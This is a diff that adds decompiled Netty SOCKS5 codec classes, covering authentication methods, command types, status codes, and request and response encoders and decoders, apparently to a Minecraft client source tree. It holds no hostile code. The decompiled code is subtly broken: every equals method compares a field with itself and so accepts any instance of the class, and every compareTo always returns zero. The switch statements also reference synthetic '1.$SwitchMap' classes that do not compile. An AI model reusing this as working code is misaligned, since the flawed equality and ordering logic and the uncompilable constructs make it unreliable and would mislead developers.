+  implements Comparable<Socks5AuthMethod>
+{
+  public static final Socks5AuthMethod NO_AUTH = new Socks5AuthMethod(0, "NO_AUTH");
+  public static final Socks5AuthMethod GSSAPI = new Socks5AuthMethod(1, "GSSAPI");
+  public static final Socks5AuthMethod PASSWORD = new Socks5AuthMethod(2, "PASSWORD");
+  
+
+
+
+  public static final Socks5AuthMethod UNACCEPTED = new Socks5AuthMethod(255, "UNACCEPTED");
+  private final byte byteValue;
+  
+  public static Socks5AuthMethod valueOf(byte b) { switch (b) {
+    case 0: 
+      return NO_AUTH;
+    case 1: 
+      return GSSAPI;
+    case 2: 
+      return PASSWORD;
+    case -1: 
+      return UNACCEPTED;
+    }
+    
+    return new Socks5AuthMethod(b);
+  }
+  
+
+  private final String name;
+  private String text;
+  public Socks5AuthMethod(int byteValue)
+  {
+    this(byteValue, "UNKNOWN");
+  }
+  
+  public Socks5AuthMethod(int byteValue, String name) {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    this.byteValue = ((byte)byteValue);
+    this.name = name;
+  }
+  
+  public byte byteValue() {
+    return byteValue;
+  }
+  
+  public int hashCode()
+  {
+    return byteValue;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (!(obj instanceof Socks5AuthMethod)) {
+      return false;
+    }
+    
+    return byteValue == byteValue;
+  }
+  
+  public int compareTo(Socks5AuthMethod o)
+  {
+    return byteValue - byteValue;
+  }
+  
+  public String toString()
+  {
+    String text = this.text;
+    if (text == null) {
+      this.text = (text = name + '(' + (byteValue & 0xFF) + ')');
+    }
+    return text;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5ClientEncoder.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5ClientEncoder.java
new file mode 100644
index 0000000..7165322
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5ClientEncoder.java
@@ -0,0 +1,118 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.EncoderException;
+import io.netty.handler.codec.MessageToByteEncoder;
+import io.netty.handler.codec.socksx.SocksVersion;
+import io.netty.util.internal.StringUtil;
+import java.util.List;
+import java.util.RandomAccess;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public class Socks5ClientEncoder
+  extends MessageToByteEncoder<Socks5Message>
+{
+  public static final Socks5ClientEncoder DEFAULT = new Socks5ClientEncoder();
+  
+
+  private final Socks5AddressEncoder addressEncoder;
+  
+
+  protected Socks5ClientEncoder()
+  {
+    this(Socks5AddressEncoder.DEFAULT);
+  }
+  
+
+
+  public Socks5ClientEncoder(Socks5AddressEncoder addressEncoder)
+  {
+    if (addressEncoder == null) {
+      throw new NullPointerException("addressEncoder");
+    }
+    
+    this.addressEncoder = addressEncoder;
+  }
+  
+
+
+  protected final Socks5AddressEncoder addressEncoder()
+  {
+    return addressEncoder;
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, Socks5Message msg, ByteBuf out) throws Exception
+  {
+    if ((msg instanceof Socks5InitialRequest)) {
+      encodeAuthMethodRequest((Socks5InitialRequest)msg, out);
+    } else if ((msg instanceof Socks5PasswordAuthRequest)) {
+      encodePasswordAuthRequest((Socks5PasswordAuthRequest)msg, out);
+    } else if ((msg instanceof Socks5CommandRequest)) {
+      encodeCommandRequest((Socks5CommandRequest)msg, out);
+    } else {
+      throw new EncoderException("unsupported message type: " + StringUtil.simpleClassName(msg));
+    }
+  }
+  
+  private static void encodeAuthMethodRequest(Socks5InitialRequest msg, ByteBuf out) {
+    out.writeByte(msg.version().byteValue());
+    
+    List<Socks5AuthMethod> authMethods = msg.authMethods();
+    int numAuthMethods = authMethods.size();
+    out.writeByte(numAuthMethods);
+    
+    if ((authMethods instanceof RandomAccess)) {
+      for (int i = 0; i < numAuthMethods; i++) {
+        out.writeByte(((Socks5AuthMethod)authMethods.get(i)).byteValue());
+      }
+    } else {
+      for (Socks5AuthMethod a : authMethods) {
+        out.writeByte(a.byteValue());
+      }
+    }
+  }
+  
+  private static void encodePasswordAuthRequest(Socks5PasswordAuthRequest msg, ByteBuf out) {
+    out.writeByte(1);
+    
+    String username = msg.username();
+    out.writeByte(username.length());
+    ByteBufUtil.writeAscii(out, username);
+    
+    String password = msg.password();
+    out.writeByte(password.length());
+    ByteBufUtil.writeAscii(out, password);
+  }
+  
+  private void encodeCommandRequest(Socks5CommandRequest msg, ByteBuf out) throws Exception {
+    out.writeByte(msg.version().byteValue());
+    out.writeByte(msg.type().byteValue());
+    out.writeByte(0);
+    
+    Socks5AddressType dstAddrType = msg.dstAddrType();
+    out.writeByte(dstAddrType.byteValue());
+    addressEncoder.encodeAddress(dstAddrType, msg.dstAddr(), out);
+    out.writeShort(msg.dstPort());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandRequest.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandRequest.java
new file mode 100644
index 0000000..0c97dc2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandRequest.java
@@ -0,0 +1,13 @@
+package io.netty.handler.codec.socksx.v5;
+
+public abstract interface Socks5CommandRequest
+  extends Socks5Message
+{
+  public abstract Socks5CommandType type();
+  
+  public abstract Socks5AddressType dstAddrType();
+  
+  public abstract String dstAddr();
+  
+  public abstract int dstPort();
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandRequestDecoder.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandRequestDecoder.java
new file mode 100644
index 0000000..79bb9b3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandRequestDecoder.java
@@ -0,0 +1,107 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.DecoderException;
+import io.netty.handler.codec.DecoderResult;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.handler.codec.socksx.SocksVersion;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Socks5CommandRequestDecoder
+  extends ReplayingDecoder<State>
+{
+  private final Socks5AddressDecoder addressDecoder;
+  
+  static enum State
+  {
+    INIT, 
+    SUCCESS, 
+    FAILURE;
+    
+    private State() {}
+  }
+  
+  public Socks5CommandRequestDecoder() {
+    this(Socks5AddressDecoder.DEFAULT);
+  }
+  
+  public Socks5CommandRequestDecoder(Socks5AddressDecoder addressDecoder) {
+    super(State.INIT);
+    if (addressDecoder == null) {
+      throw new NullPointerException("addressDecoder");
+    }
+    
+    this.addressDecoder = addressDecoder;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    try {
+      switch (1.$SwitchMap$io$netty$handler$codec$socksx$v5$Socks5CommandRequestDecoder$State[((State)state()).ordinal()]) {
+      case 1: 
+        byte version = in.readByte();
+        if (version != SocksVersion.SOCKS5.byteValue()) {
+          throw new DecoderException("unsupported version: " + version + " (expected: " + SocksVersion.SOCKS5.byteValue() + ')');
+        }
+        
+
+        Socks5CommandType type = Socks5CommandType.valueOf(in.readByte());
+        in.skipBytes(1);
+        Socks5AddressType dstAddrType = Socks5AddressType.valueOf(in.readByte());
+        String dstAddr = addressDecoder.decodeAddress(dstAddrType, in);
+        int dstPort = in.readUnsignedShort();
+        
+        out.add(new DefaultSocks5CommandRequest(type, dstAddrType, dstAddr, dstPort));
+        checkpoint(State.SUCCESS);
+      
+      case 2: 
+        int readableBytes = actualReadableBytes();
+        if (readableBytes > 0) {
+          out.add(in.readRetainedSlice(readableBytes));
+        }
+        
+        break;
+      case 3: 
+        in.skipBytes(actualReadableBytes());
+      }
+    }
+    catch (Exception e)
+    {
+      fail(out, e);
+    }
+  }
+  
+  private void fail(List<Object> out, Throwable cause) {
+    if (!(cause instanceof DecoderException)) {
+      cause = new DecoderException(cause);
+    }
+    
+    checkpoint(State.FAILURE);
+    
+    Socks5Message m = new DefaultSocks5CommandRequest(Socks5CommandType.CONNECT, Socks5AddressType.IPv4, "0.0.0.0", 1);
+    
+    m.setDecoderResult(DecoderResult.failure(cause));
+    out.add(m);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandResponse.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandResponse.java
new file mode 100644
index 0000000..9e4b2e8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandResponse.java
@@ -0,0 +1,13 @@
+package io.netty.handler.codec.socksx.v5;
+
+public abstract interface Socks5CommandResponse
+  extends Socks5Message
+{
+  public abstract Socks5CommandStatus status();
+  
+  public abstract Socks5AddressType bndAddrType();
+  
+  public abstract String bndAddr();
+  
+  public abstract int bndPort();
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandResponseDecoder.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandResponseDecoder.java
new file mode 100644
index 0000000..dba7c0d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandResponseDecoder.java
@@ -0,0 +1,106 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.DecoderException;
+import io.netty.handler.codec.DecoderResult;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.handler.codec.socksx.SocksVersion;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Socks5CommandResponseDecoder
+  extends ReplayingDecoder<State>
+{
+  private final Socks5AddressDecoder addressDecoder;
+  
+  static enum State
+  {
+    INIT, 
+    SUCCESS, 
+    FAILURE;
+    
+    private State() {}
+  }
+  
+  public Socks5CommandResponseDecoder() {
+    this(Socks5AddressDecoder.DEFAULT);
+  }
+  
+  public Socks5CommandResponseDecoder(Socks5AddressDecoder addressDecoder) {
+    super(State.INIT);
+    if (addressDecoder == null) {
+      throw new NullPointerException("addressDecoder");
+    }
+    
+    this.addressDecoder = addressDecoder;
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    try {
+      switch (1.$SwitchMap$io$netty$handler$codec$socksx$v5$Socks5CommandResponseDecoder$State[((State)state()).ordinal()]) {
+      case 1: 
+        byte version = in.readByte();
+        if (version != SocksVersion.SOCKS5.byteValue()) {
+          throw new DecoderException("unsupported version: " + version + " (expected: " + SocksVersion.SOCKS5.byteValue() + ')');
+        }
+        
+        Socks5CommandStatus status = Socks5CommandStatus.valueOf(in.readByte());
+        in.skipBytes(1);
+        Socks5AddressType addrType = Socks5AddressType.valueOf(in.readByte());
+        String addr = addressDecoder.decodeAddress(addrType, in);
+        int port = in.readUnsignedShort();
+        
+        out.add(new DefaultSocks5CommandResponse(status, addrType, addr, port));
+        checkpoint(State.SUCCESS);
+      
+      case 2: 
+        int readableBytes = actualReadableBytes();
+        if (readableBytes > 0) {
+          out.add(in.readRetainedSlice(readableBytes));
+        }
+        
+        break;
+      case 3: 
+        in.skipBytes(actualReadableBytes());
+      }
+    }
+    catch (Exception e)
+    {
+      fail(out, e);
+    }
+  }
+  
+  private void fail(List<Object> out, Throwable cause) {
+    if (!(cause instanceof DecoderException)) {
+      cause = new DecoderException(cause);
+    }
+    
+    checkpoint(State.FAILURE);
+    
+    Socks5Message m = new DefaultSocks5CommandResponse(Socks5CommandStatus.FAILURE, Socks5AddressType.IPv4, null, 0);
+    
+    m.setDecoderResult(DecoderResult.failure(cause));
+    out.add(m);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandStatus.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandStatus.java
new file mode 100644
index 0000000..d481955
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandStatus.java
@@ -0,0 +1,111 @@
+package io.netty.handler.codec.socksx.v5;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Socks5CommandStatus
+  implements Comparable<Socks5CommandStatus>
+{
+  public static final Socks5CommandStatus SUCCESS = new Socks5CommandStatus(0, "SUCCESS");
+  public static final Socks5CommandStatus FAILURE = new Socks5CommandStatus(1, "FAILURE");
+  public static final Socks5CommandStatus FORBIDDEN = new Socks5CommandStatus(2, "FORBIDDEN");
+  public static final Socks5CommandStatus NETWORK_UNREACHABLE = new Socks5CommandStatus(3, "NETWORK_UNREACHABLE");
+  public static final Socks5CommandStatus HOST_UNREACHABLE = new Socks5CommandStatus(4, "HOST_UNREACHABLE");
+  public static final Socks5CommandStatus CONNECTION_REFUSED = new Socks5CommandStatus(5, "CONNECTION_REFUSED");
+  public static final Socks5CommandStatus TTL_EXPIRED = new Socks5CommandStatus(6, "TTL_EXPIRED");
+  public static final Socks5CommandStatus COMMAND_UNSUPPORTED = new Socks5CommandStatus(7, "COMMAND_UNSUPPORTED");
+  public static final Socks5CommandStatus ADDRESS_UNSUPPORTED = new Socks5CommandStatus(8, "ADDRESS_UNSUPPORTED");
+  private final byte byteValue;
+  
+  public static Socks5CommandStatus valueOf(byte b) { switch (b) {
+    case 0: 
+      return SUCCESS;
+    case 1: 
+      return FAILURE;
+    case 2: 
+      return FORBIDDEN;
+    case 3: 
+      return NETWORK_UNREACHABLE;
+    case 4: 
+      return HOST_UNREACHABLE;
+    case 5: 
+      return CONNECTION_REFUSED;
+    case 6: 
+      return TTL_EXPIRED;
+    case 7: 
+      return COMMAND_UNSUPPORTED;
+    case 8: 
+      return ADDRESS_UNSUPPORTED;
+    }
+    
+    return new Socks5CommandStatus(b);
+  }
+  
+
+  private final String name;
+  private String text;
+  public Socks5CommandStatus(int byteValue)
+  {
+    this(byteValue, "UNKNOWN");
+  }
+  
+  public Socks5CommandStatus(int byteValue, String name) {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    this.byteValue = ((byte)byteValue);
+    this.name = name;
+  }
+  
+  public byte byteValue() {
+    return byteValue;
+  }
+  
+  public boolean isSuccess() {
+    return byteValue == 0;
+  }
+  
+  public int hashCode()
+  {
+    return byteValue;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (!(obj instanceof Socks5CommandStatus)) {
+      return false;
+    }
+    
+    return byteValue == byteValue;
+  }
+  
+  public int compareTo(Socks5CommandStatus o)
+  {
+    return byteValue - byteValue;
+  }
+  
+  public String toString()
+  {
+    String text = this.text;
+    if (text == null) {
+      this.text = (text = name + '(' + (byteValue & 0xFF) + ')');
+    }
+    return text;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandType.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandType.java
new file mode 100644
index 0000000..3ab45b8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5CommandType.java
@@ -0,0 +1,89 @@
+package io.netty.handler.codec.socksx.v5;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Socks5CommandType
+  implements Comparable<Socks5CommandType>
+{
+  public static final Socks5CommandType CONNECT = new Socks5CommandType(1, "CONNECT");
+  public static final Socks5CommandType BIND = new Socks5CommandType(2, "BIND");
+  public static final Socks5CommandType UDP_ASSOCIATE = new Socks5CommandType(3, "UDP_ASSOCIATE");
+  private final byte byteValue;
+  
+  public static Socks5CommandType valueOf(byte b) { switch (b) {
+    case 1: 
+      return CONNECT;
+    case 2: 
+      return BIND;
+    case 3: 
+      return UDP_ASSOCIATE;
+    }
+    
+    return new Socks5CommandType(b);
+  }
+  
+
+  private final String name;
+  private String text;
+  public Socks5CommandType(int byteValue)
+  {
+    this(byteValue, "UNKNOWN");
+  }
+  
+  public Socks5CommandType(int byteValue, String name) {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    this.byteValue = ((byte)byteValue);
+    this.name = name;
+  }
+  
+  public byte byteValue() {
+    return byteValue;
+  }
+  
+  public int hashCode()
+  {
+    return byteValue;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (!(obj instanceof Socks5CommandType)) {
+      return false;
+    }
+    
+    return byteValue == byteValue;
+  }
+  
+  public int compareTo(Socks5CommandType o)
+  {
+    return byteValue - byteValue;
+  }
+  
+  public String toString()
+  {
+    String text = this.text;
+    if (text == null) {
+      this.text = (text = name + '(' + (byteValue & 0xFF) + ')');
+    }
+    return text;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5InitialRequest.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5InitialRequest.java
new file mode 100644
index 0000000..b69f87d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5InitialRequest.java
@@ -0,0 +1,9 @@
+package io.netty.handler.codec.socksx.v5;
+
+import java.util.List;
+
+public abstract interface Socks5InitialRequest
+  extends Socks5Message
+{
+  public abstract List<Socks5AuthMethod> authMethods();
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5InitialRequestDecoder.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5InitialRequestDecoder.java
new file mode 100644
index 0000000..2a33568
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5InitialRequestDecoder.java
@@ -0,0 +1,99 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.DecoderException;
+import io.netty.handler.codec.DecoderResult;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.handler.codec.socksx.SocksVersion;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Socks5InitialRequestDecoder
+  extends ReplayingDecoder<State>
+{
+  static enum State
+  {
+    INIT, 
+    SUCCESS, 
+    FAILURE;
+    
+    private State() {} }
+  
+  public Socks5InitialRequestDecoder() { super(State.INIT); }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    try
+    {
+      switch (1.$SwitchMap$io$netty$handler$codec$socksx$v5$Socks5InitialRequestDecoder$State[((State)state()).ordinal()]) {
+      case 1: 
+        byte version = in.readByte();
+        if (version != SocksVersion.SOCKS5.byteValue()) {
+          throw new DecoderException("unsupported version: " + version + " (expected: " + SocksVersion.SOCKS5.byteValue() + ')');
+        }
+        
+
+        int authMethodCnt = in.readUnsignedByte();
+        if (actualReadableBytes() >= authMethodCnt)
+        {
+
+
+          Socks5AuthMethod[] authMethods = new Socks5AuthMethod[authMethodCnt];
+          for (int i = 0; i < authMethodCnt; i++) {
+            authMethods[i] = Socks5AuthMethod.valueOf(in.readByte());
+          }
+          
+          out.add(new DefaultSocks5InitialRequest(authMethods));
+          checkpoint(State.SUCCESS);
+        }
+        break;
+      case 2:  int readableBytes = actualReadableBytes();
+        if (readableBytes > 0) {
+          out.add(in.readRetainedSlice(readableBytes));
+        }
+        
+        break;
+      case 3: 
+        in.skipBytes(actualReadableBytes());
+      }
+    }
+    catch (Exception e)
+    {
+      fail(out, e);
+    }
+  }
+  
+  private void fail(List<Object> out, Throwable cause) {
+    if (!(cause instanceof DecoderException)) {
+      cause = new DecoderException(cause);
+    }
+    
+    checkpoint(State.FAILURE);
+    
+    Socks5Message m = new DefaultSocks5InitialRequest(new Socks5AuthMethod[] { Socks5AuthMethod.NO_AUTH });
+    m.setDecoderResult(DecoderResult.failure(cause));
+    out.add(m);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5InitialResponse.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5InitialResponse.java
new file mode 100644
index 0000000..d129a9d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5InitialResponse.java
@@ -0,0 +1,7 @@
+package io.netty.handler.codec.socksx.v5;
+
+public abstract interface Socks5InitialResponse
+  extends Socks5Message
+{
+  public abstract Socks5AuthMethod authMethod();
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5InitialResponseDecoder.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5InitialResponseDecoder.java
new file mode 100644
index 0000000..0e1378e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5InitialResponseDecoder.java
@@ -0,0 +1,90 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.DecoderException;
+import io.netty.handler.codec.DecoderResult;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.handler.codec.socksx.SocksVersion;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Socks5InitialResponseDecoder
+  extends ReplayingDecoder<State>
+{
+  static enum State
+  {
+    INIT, 
+    SUCCESS, 
+    FAILURE;
+    
+    private State() {} }
+  
+  public Socks5InitialResponseDecoder() { super(State.INIT); }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    try
+    {
+      switch (1.$SwitchMap$io$netty$handler$codec$socksx$v5$Socks5InitialResponseDecoder$State[((State)state()).ordinal()]) {
+      case 1: 
+        byte version = in.readByte();
+        if (version != SocksVersion.SOCKS5.byteValue()) {
+          throw new DecoderException("unsupported version: " + version + " (expected: " + SocksVersion.SOCKS5.byteValue() + ')');
+        }
+        
+
+        Socks5AuthMethod authMethod = Socks5AuthMethod.valueOf(in.readByte());
+        out.add(new DefaultSocks5InitialResponse(authMethod));
+        checkpoint(State.SUCCESS);
+      
+      case 2: 
+        int readableBytes = actualReadableBytes();
+        if (readableBytes > 0) {
+          out.add(in.readRetainedSlice(readableBytes));
+        }
+        
+        break;
+      case 3: 
+        in.skipBytes(actualReadableBytes());
+      }
+    }
+    catch (Exception e)
+    {
+      fail(out, e);
+    }
+  }
+  
+  private void fail(List<Object> out, Throwable cause) {
+    if (!(cause instanceof DecoderException)) {
+      cause = new DecoderException(cause);
+    }
+    
+    checkpoint(State.FAILURE);
+    
+    Socks5Message m = new DefaultSocks5InitialResponse(Socks5AuthMethod.UNACCEPTED);
+    m.setDecoderResult(DecoderResult.failure(cause));
+    out.add(m);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5Message.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5Message.java
new file mode 100644
index 0000000..d9fa8e3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5Message.java
@@ -0,0 +1,7 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.handler.codec.socksx.SocksMessage;
+
+public abstract interface Socks5Message
+  extends SocksMessage
+{}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5PasswordAuthRequest.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5PasswordAuthRequest.java
new file mode 100644
index 0000000..a02fc98
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5PasswordAuthRequest.java
@@ -0,0 +1,9 @@
+package io.netty.handler.codec.socksx.v5;
+
+public abstract interface Socks5PasswordAuthRequest
+  extends Socks5Message
+{
+  public abstract String username();
+  
+  public abstract String password();
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5PasswordAuthRequestDecoder.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5PasswordAuthRequestDecoder.java
new file mode 100644
index 0000000..935014d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5PasswordAuthRequestDecoder.java
@@ -0,0 +1,97 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.DecoderException;
+import io.netty.handler.codec.DecoderResult;
+import io.netty.handler.codec.ReplayingDecoder;
+import io.netty.util.CharsetUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Socks5PasswordAuthRequestDecoder
+  extends ReplayingDecoder<State>
+{
+  static enum State
+  {
+    INIT, 
+    SUCCESS, 
+    FAILURE;
+    
+    private State() {} }
+  
+  public Socks5PasswordAuthRequestDecoder() { super(State.INIT); }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    try
+    {
+      switch (1.$SwitchMap$io$netty$handler$codec$socksx$v5$Socks5PasswordAuthRequestDecoder$State[((State)state()).ordinal()]) {
+      case 1: 
+        int startOffset = in.readerIndex();
+        byte version = in.getByte(startOffset);
+        if (version != 1) {
+          throw new DecoderException("unsupported subnegotiation version: " + version + " (expected: 1)");
+        }
+        
+        int usernameLength = in.getUnsignedByte(startOffset + 1);
+        int passwordLength = in.getUnsignedByte(startOffset + 2 + usernameLength);
+        int totalLength = usernameLength + passwordLength + 3;
+        
+        in.skipBytes(totalLength);
+        out.add(new DefaultSocks5PasswordAuthRequest(in.toString(startOffset + 2, usernameLength, CharsetUtil.US_ASCII), in.toString(startOffset + 3 + usernameLength, passwordLength, CharsetUtil.US_ASCII)));
+        
+
+
+        checkpoint(State.SUCCESS);
+      
+      case 2: 
+        int readableBytes = actualReadableBytes();
+        if (readableBytes > 0) {
+          out.add(in.readRetainedSlice(readableBytes));
+        }
+        
+        break;
+      case 3: 
+        in.skipBytes(actualReadableBytes());
+      }
+    }
+    catch (Exception e)
+    {
+      fail(out, e);
+    }
+  }
+  
+  private void fail(List<Object> out, Throwable cause) {
+    if (!(cause instanceof DecoderException)) {
+      cause = new DecoderException(cause);
+    }
+    
+    checkpoint(State.FAILURE);
+    
+    Socks5Message m = new DefaultSocks5PasswordAuthRequest("", "");
+    m.setDecoderResult(DecoderResult.failure(cause));
+    out.add(m);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5PasswordAuthResponse.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5PasswordAuthResponse.java
new file mode 100644
index 0000000..7a4e790
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5PasswordAuthResponse.java
@@ -0,0 +1,7 @@
+package io.netty.handler.codec.socksx.v5;
+
+public abstract interface Socks5PasswordAuthResponse
+  extends Socks5Message
+{
+  public abstract Socks5PasswordAuthStatus status();
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5PasswordAuthResponseDecoder.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5PasswordAuthResponseDecoder.java
new file mode 100644
index 0000000..41516a6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5PasswordAuthResponseDecoder.java
@@ -0,0 +1,87 @@
+package io.netty.handler.codec.socksx.v5;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.DecoderException;
+import io.netty.handler.codec.DecoderResult;
+import io.netty.handler.codec.ReplayingDecoder;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Socks5PasswordAuthResponseDecoder
+  extends ReplayingDecoder<State>
+{
+  static enum State
+  {
+    INIT, 
+    SUCCESS, 
+    FAILURE;
+    
+    private State() {} }
+  
+  public Socks5PasswordAuthResponseDecoder() { super(State.INIT); }
+  
+  protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+  {
+    try
+    {
+      switch (1.$SwitchMap$io$netty$handler$codec$socksx$v5$Socks5PasswordAuthResponseDecoder$State[((State)state()).ordinal()]) {
+      case 1: 
+        byte version = in.readByte();
+        if (version != 1) {
+          throw new DecoderException("unsupported subnegotiation version: " + version + " (expected: 1)");
+        }
+        
+        out.add(new DefaultSocks5PasswordAuthResponse(Socks5PasswordAuthStatus.valueOf(in.readByte())));
+        checkpoint(State.SUCCESS);
+      
+      case 2: 
+        int readableBytes = actualReadableBytes();
+        if (readableBytes > 0) {
+          out.add(in.readRetainedSlice(readableBytes));
+        }
+        
+        break;
+      case 3: 
+        in.skipBytes(actualReadableBytes());
+      }
+    }
+    catch (Exception e)
+    {
+      fail(out, e);
+    }
+  }
+  
+  private void fail(List<Object> out, Throwable cause) {
+    if (!(cause instanceof DecoderException)) {
+      cause = new DecoderException(cause);
+    }
+    
+    checkpoint(State.FAILURE);
+    
+    Socks5Message m = new DefaultSocks5PasswordAuthResponse(Socks5PasswordAuthStatus.FAILURE);
+    m.setDecoderResult(DecoderResult.failure(cause));
+    out.add(m);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5PasswordAuthStatus.java b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5PasswordAuthStatus.java
new file mode 100644
index 0000000..22e3876
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/socksx/v5/Socks5PasswordAuthStatus.java
@@ -0,0 +1,90 @@
+package io.netty.handler.codec.socksx.v5;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Socks5PasswordAuthStatus
+  implements Comparable<Socks5PasswordAuthStatus>
+{
+  public static final Socks5PasswordAuthStatus SUCCESS = new Socks5PasswordAuthStatus(0, "SUCCESS");
